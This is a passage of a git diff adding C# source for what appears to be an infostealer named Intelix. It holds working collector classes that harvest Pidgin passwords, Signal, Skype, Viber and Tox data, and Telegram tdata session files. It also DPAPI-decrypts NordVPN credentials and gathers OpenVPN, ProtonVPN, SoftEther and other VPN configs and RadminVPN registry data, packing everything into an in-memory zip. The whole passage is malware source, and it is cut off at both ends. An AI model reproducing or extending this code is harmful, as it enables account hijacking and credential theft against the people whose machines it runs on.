Buffer.BlockCopy(encrypted, 1, array, 0, array.Length); + byte[] array2 = DpApi.Decrypt(array); + if (array2 == null || array2.Length == 0) + { + return null; + } + return Encoding.UTF8.GetString(array2).TrimEnd(default(char)); + } + catch + { + return null; + } + } +} diff --git a/Intelix.Targets.Messangers/Pidgin.cs b/Intelix.Targets.Messangers/Pidgin.cs new file mode 100644 index 0000000..d2eae8e --- /dev/null +++ b/Intelix.Targets.Messangers/Pidgin.cs @@ -0,0 +1,99 @@ +using System; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Pidgin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".purple"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Pidgin"; + CollectAccounts(zip, text, counterApplications); + CollectLogs(zip, text, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Pidgin\\"); + counter.Messangers.Add(counterApplications); + } + } + } + + private void CollectLogs(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "logs"); + if (Directory.Exists(text)) + { + string text2 = Path.Combine("Pidgin", "chatlogs"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + } + } + catch + { + } + } + + private void CollectAccounts(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "accounts.xml"); + if (!File.Exists(text)) + { + return; + } + StringBuilder stringBuilder = new StringBuilder(); + XmlDocument xmlDocument = new XmlDocument(); + using (XmlReader reader = XmlReader.Create(text, new XmlReaderSettings + { + IgnoreComments = true, + IgnoreWhitespace = true + })) + { + xmlDocument.Load(reader); + } + XmlElement documentElement = xmlDocument.DocumentElement; + if (documentElement == null) + { + return; + } + foreach (XmlNode childNode in documentElement.ChildNodes) + { + if (childNode.ChildNodes.Count >= 3) + { + XmlNode xmlNode2 = childNode.ChildNodes[0]; + XmlNode xmlNode3 = childNode.ChildNodes[1]; + XmlNode xmlNode4 = childNode.ChildNodes[2]; + string text2 = xmlNode2?.InnerText; + string text3 = xmlNode3?.InnerText; + string text4 = xmlNode4?.InnerText; + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4)) + { + stringBuilder.AppendLine("Protocol: " + text2); + stringBuilder.AppendLine("Username: " + text3); + stringBuilder.AppendLine("Password: " + text4); + stringBuilder.AppendLine(); + } + } + } + if (stringBuilder.Length != 0) + { + string text5 = Path.Combine("Pidgin", "accounts.txt"); + zip.AddTextFile(text5, stringBuilder.ToString()); + counterApplications.Files.Add(text + " => " + text5); + } + } + catch + { + } + } +} diff --git a/Intelix.Targets.Messangers/Signal.cs b/Intelix.Targets.Messangers/Signal.cs new file mode 100644 index 0000000..2cb4bfc --- /dev/null +++ b/Intelix.Targets.Messangers/Signal.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Signal : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Signal"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Signal"; + string[] array = new string[4] { "databases", "Session Storage", "Local Storage", "sql" }; + foreach (string path in array) + { + string text2 = Path.Combine(text, path); + if (Directory.Exists(text2)) + { + string text3 = Path.Combine("Signal", path); + zip.AddDirectoryFiles(text2, text3); + counterApplications.Files.Add(text2 + " => " + text3); + } + } + string text4 = Path.Combine(text, "config.json"); + if (File.Exists(text4)) + { + string text5 = Path.Combine("Signal", "config.json"); + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + counterApplications.Files.Add(text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Signal\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Skype.cs b/Intelix.Targets.Messangers/Skype.cs new file mode 100644 index 0000000..dc57d0e --- /dev/null +++ b/Intelix.Targets.Messangers/Skype.cs @@ -0,0 +1,24 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Skype : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Skype for Desktop", "Local Storage"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Skype"; + string text2 = Path.Combine("Skype", "Local Storage"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counterApplications.Files.Add("Skype\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Telegram.cs b/Intelix.Targets.Messangers/Telegram.cs new file mode 100644 index 0000000..78c14be --- /dev/null +++ b/Intelix.Targets.Messangers/Telegram.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Telegram : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Telegram"; + Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata) + { + string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag(); + Copydata(tdata, targetPath, zip, counterApplications); + }); + if (counterApplications.Files.Count > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip) + { + string name = fileInfo.Name; + if (name.EndsWith("s") && name.Length == 17) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps")) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + } + + private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications) + { + ConcurrentBag matchedNames = new ConcurrentBag(); + bool addedAny = false; + Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + fileInfo.Name; + if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) + { + matchedNames.Add(fileInfo.Name); + } + _ = counterApplications.Files.Count; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + Parallel.ForEach(matchedNames, delegate(string name) + { + try + { + string dirPath = Path.Combine(sourceDir, name); + dirPath = dirPath.Remove(dirPath.Length - 1); + if (Directory.Exists(dirPath)) + { + Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + } + } + catch + { + } + }); + if (addedAny) + { + counterApplications.Files.Add(sourceDir + " => " + targetPath); + } + } + + private List FindInAppData(string folderName) + { + if (string.IsNullOrEmpty(folderName)) + { + return new List(); + } + ConcurrentDictionary found = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + string[] array = new string[2] + { + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + }; + foreach (string text in array) + { + if (string.IsNullOrEmpty(text) || !Directory.Exists(text)) + { + continue; + } + try + { + Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1) + { + try + { + string path = Path.Combine(dir1, folderName); + if (Directory.Exists(path)) + { + found.TryAdd(Path.GetFullPath(path), 0); + } + } + catch + { + } + }); + } + catch + { + } + } + return new List(found.Keys); + } + + private List FindAllMatches(string folderName) + { + ConcurrentDictionary set = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + Parallel.ForEach(FindInAppData(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + return new List(set.Keys); + } +} diff --git a/Intelix.Targets.Messangers/Tox.cs b/Intelix.Targets.Messangers/Tox.cs new file mode 100644 index 0000000..c390f7a --- /dev/null +++ b/Intelix.Targets.Messangers/Tox.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Tox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Tox"); + if (Directory.Exists(text)) + { + string text2 = "Tox"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Tox"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Messangers/Viber.cs b/Intelix.Targets.Messangers/Viber.cs new file mode 100644 index 0000000..af90981 --- /dev/null +++ b/Intelix.Targets.Messangers/Viber.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Viber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data"); + if (Directory.Exists(text)) + { + string entry = "Viber"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Viber"; + Array.ForEach(Directory.GetFiles(text), delegate(string file) + { + zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file)); + }); + Array.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + zip.AddDirectoryFiles(dir, entry); + }); + counterApplications.Files.Add(text + " => " + entry); + counterApplications.Files.Add(entry); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/._CyberGhost.cs b/Intelix.Targets.Vpn/._CyberGhost.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._CyberGhost.cs differ diff --git a/Intelix.Targets.Vpn/._ExpressVPN.cs b/Intelix.Targets.Vpn/._ExpressVPN.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._ExpressVPN.cs differ diff --git a/Intelix.Targets.Vpn/._Hamachi.cs b/Intelix.Targets.Vpn/._Hamachi.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._Hamachi.cs differ diff --git a/Intelix.Targets.Vpn/._MullVad.cs b/Intelix.Targets.Vpn/._MullVad.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._MullVad.cs differ diff --git a/Intelix.Targets.Vpn/._NordVpn.cs b/Intelix.Targets.Vpn/._NordVpn.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._NordVpn.cs differ diff --git a/Intelix.Targets.Vpn/._OpenVpn.cs b/Intelix.Targets.Vpn/._OpenVpn.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._OpenVpn.cs differ diff --git a/Intelix.Targets.Vpn/._PIAVPN.cs b/Intelix.Targets.Vpn/._PIAVPN.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._PIAVPN.cs differ diff --git a/Intelix.Targets.Vpn/._ProtonVpn.cs b/Intelix.Targets.Vpn/._ProtonVpn.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._ProtonVpn.cs differ diff --git a/Intelix.Targets.Vpn/._RadminVPN.cs b/Intelix.Targets.Vpn/._RadminVPN.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._RadminVPN.cs differ diff --git a/Intelix.Targets.Vpn/._WireGuard.cs b/Intelix.Targets.Vpn/._WireGuard.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Targets.Vpn/._WireGuard.cs differ diff --git a/Intelix.Targets.Vpn/Cisco.cs b/Intelix.Targets.Vpn/Cisco.cs new file mode 100644 index 0000000..1bc99a8 --- /dev/null +++ b/Intelix.Targets.Vpn/Cisco.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Cisco : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Cisco", "Cisco AnyConnect Secure Mobility Client", "Profile"); + if (Directory.Exists(text)) + { + string text2 = "Cisco"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Cisco AnyConnect"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/CyberGhost.cs b/Intelix.Targets.Vpn/CyberGhost.cs new file mode 100644 index 0000000..b1969e4 --- /dev/null +++ b/Intelix.Targets.Vpn/CyberGhost.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class CyberGhost : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "CyberGhost"); + if (Directory.Exists(text)) + { + string text2 = "CyberGhost"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberGhost"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/ExpressVPN.cs b/Intelix.Targets.Vpn/ExpressVPN.cs new file mode 100644 index 0000000..6157016 --- /dev/null +++ b/Intelix.Targets.Vpn/ExpressVPN.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ExpressVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ExpressVPN"); + if (Directory.Exists(text)) + { + string text2 = "ExpressVPN"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ExpressVPN"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/Hamachi.cs b/Intelix.Targets.Vpn/Hamachi.cs new file mode 100644 index 0000000..a8201a4 --- /dev/null +++ b/Intelix.Targets.Vpn/Hamachi.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Hamachi : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "LogMeIn Hamachi"); + if (Directory.Exists(text)) + { + string text2 = "LogMeIn Hamachi"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "LogMeIn Hamachi"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/HideMyName.cs b/Intelix.Targets.Vpn/HideMyName.cs new file mode 100644 index 0000000..f699d9c --- /dev/null +++ b/Intelix.Targets.Vpn/HideMyName.cs @@ -0,0 +1,52 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class HideMyName : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\hidemy.name VPN 2.0"; + if (!Directory.Exists(text)) + { + return; + } + string text2 = "HideMyName"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "HideMyName"; + if (File.Exists(text + "\\HideMyName")) + { + zip.AddFile(text2 + "\\HideMyName", File.ReadAllBytes(text + "\\HideMyName")); + counterApplications.Files.Add(text + "\\HideMyName => " + text2 + "\\HideMyName"); + } + if (File.Exists(text + "\\log-app.txt")) + { + zip.AddFile(text2 + "\\log-app.txt", File.ReadAllBytes(text + "\\log-app.txt")); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\log-app.txt"); + List list = new List(); + foreach (Match item in new Regex("code\\s+(\\d+)").Matches(File.ReadAllText(text + "\\log-app.txt"))) + { + if (item.Success) + { + string value = item.Groups[1].Value; + if (!list.Contains(value)) + { + list.Add(value); + } + } + } + if (list.Count() > 0) + { + zip.AddTextFile(text2 + "\\ActivatedCodes.txt", string.Join("\n", list)); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\ActivatedCodes.txt"); + } + } + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Vpn/IpVanish.cs b/Intelix.Targets.Vpn/IpVanish.cs new file mode 100644 index 0000000..96a839c --- /dev/null +++ b/Intelix.Targets.Vpn/IpVanish.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class IpVanish : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "IPVanish", "Settings"); + if (Directory.Exists(text)) + { + string text2 = "IPVanish"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "IPVanish"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/MullVad.cs b/Intelix.Targets.Vpn/MullVad.cs new file mode 100644 index 0000000..90f1027 --- /dev/null +++ b/Intelix.Targets.Vpn/MullVad.cs @@ -0,0 +1,22 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class MullVad : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\Mullvad VPN\\Configs\\Mullvad"; + if (File.Exists(text)) + { + string text2 = "Mullvad"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Mullvad"; + zip.AddFile(Path.Combine(text2, Path.GetFileName(text)), File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/NordVpn.cs b/Intelix.Targets.Vpn/NordVpn.cs new file mode 100644 index 0000000..b07a772 --- /dev/null +++ b/Intelix.Targets.Vpn/NordVpn.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class NordVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NordVPN")); + if (!directoryInfo.Exists) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NordVPN"; + try + { + DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); + foreach (DirectoryInfo directoryInfo2 in directories) + { + List list = new List(); + DirectoryInfo[] directories2 = directoryInfo2.GetDirectories(); + for (int j = 0; j < directories2.Length; j++) + { + string text = Path.Combine(directories2[j].FullName, "user.config"); + if (File.Exists(text)) + { + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text); + string text2 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Username']/value")?.InnerText); + string text3 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Password']/value")?.InnerText); + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + list.Add("Username: " + text2 + "\nPassword: " + text3); + } + } + } + if (list.Count > 0) + { + string entryPath = Path.Combine("NordVPN", directoryInfo2.Name, "accounts.txt"); + counterApplications.Files.Add(directoryInfo2.FullName + " => NordVPN\\"); + counterApplications.Files.Add("NordVPN\\"); + zip.AddTextFile(entryPath, string.Join("\n\n", list)); + } + } + } + catch + { + } + counterApplications.Files.Add("NordVPN\\"); + counter.Vpns.Add(counterApplications); + } + + private static string Decode(string s) + { + return Encoding.UTF8.GetString(DpApi.Decrypt(Convert.FromBase64String(s))) ?? ""; + } +} diff --git a/Intelix.Targets.Vpn/OpenVpn.cs b/Intelix.Targets.Vpn/OpenVpn.cs new file mode 100644 index 0000000..518e27f --- /dev/null +++ b/Intelix.Targets.Vpn/OpenVpn.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class OpenVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect", "profiles"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OpenVPN"; + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + if (!(Path.GetExtension(file) != ".ovpn")) + { + string entryPath = "OpenVpn\\" + Path.GetFileName(file); + zip.AddFile(entryPath, File.ReadAllBytes(file)); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => OpenVpn"); + counterApplications.Files.Add("OpenVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Vpn/PIAVPN.cs b/Intelix.Targets.Vpn/PIAVPN.cs new file mode 100644 index 0000000..ea4a9b9 --- /dev/null +++ b/Intelix.Targets.Vpn/PIAVPN.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class PIAVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "pia_manager"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PIA"; + zip.AddDirectoryFiles(text, "PIAVPN"); + counterApplications.Files.Add(text + " => PIAVPN"); + counterApplications.Files.Add("PIAVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/ProtonVpn.cs b/Intelix.Targets.Vpn/ProtonVpn.cs new file mode 100644 index 0000000..9ea9bf1 --- /dev/null +++ b/Intelix.Targets.Vpn/ProtonVpn.cs @@ -0,0 +1,50 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ProtonVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ProtonVPN"; + Parallel.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + try + { + if (dir.Contains("ProtonVPN_")) + { + Parallel.ForEach(Directory.GetDirectories(dir), delegate(string version) + { + try + { + string path = Path.Combine(version, "user.config"); + if (File.Exists(path)) + { + string entryPath = "ProtonVpn\\" + Path.GetFileName(version) + "\\user.config"; + zip.AddFile(entryPath, File.ReadAllBytes(path)); + } + } + catch + { + } + }); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => ProtonVpn"); + counterApplications.Files.Add("ProtonVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Vpn/Proxifier.cs b/Intelix.Targets.Vpn/Proxifier.cs new file mode 100644 index 0000000..3b5bf33 --- /dev/null +++ b/Intelix.Targets.Vpn/Proxifier.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Proxifier : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Proxifier4", "Profiles"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Proxifier"; + zip.AddDirectoryFiles(text, "Proxifier"); + counterApplications.Files.Add(text + " => Proxifier"); + counterApplications.Files.Add("Proxifier\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/RadminVPN.cs b/Intelix.Targets.Vpn/RadminVPN.cs new file mode 100644 index 0000000..336854f --- /dev/null +++ b/Intelix.Targets.Vpn/RadminVPN.cs @@ -0,0 +1,45 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Vpn; + +public class RadminVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + using (RegistryKey key3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key3)); + } + using (RegistryKey key4 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key4)); + } + if (list.Any()) + { + string text = "RadminVPN\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RadminVPN"; + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0 => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy => " + text); + counterApplications.Files.Add(text); + counterApplications.Files.Add("RadminVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/SoftEther.cs b/Intelix.Targets.Vpn/SoftEther.cs new file mode 100644 index 0000000..99fb0be --- /dev/null +++ b/Intelix.Targets.Vpn/SoftEther.cs @@ -0,0 +1,52 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SoftEther : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "SoftEther VPN Client"); + if (!Directory.Exists(text)) + { + return; + } + string path = "SoftEther"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "SoftEther VPN"; + string text2 = Path.Combine(text, "vpn_client.config"); + if (File.Exists(text2)) + { + try + { + string text3 = Path.Combine("Vpn", path, "vpn_client.config"); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + string[] files = Directory.GetFiles(text, "*.vpn", SearchOption.TopDirectoryOnly); + foreach (string text4 in files) + { + try + { + string fileName = Path.GetFileName(text4); + string text5 = Path.Combine("Vpn", path, fileName); + zip.AddFile(text5, File.ReadAllBytes(text4)); + 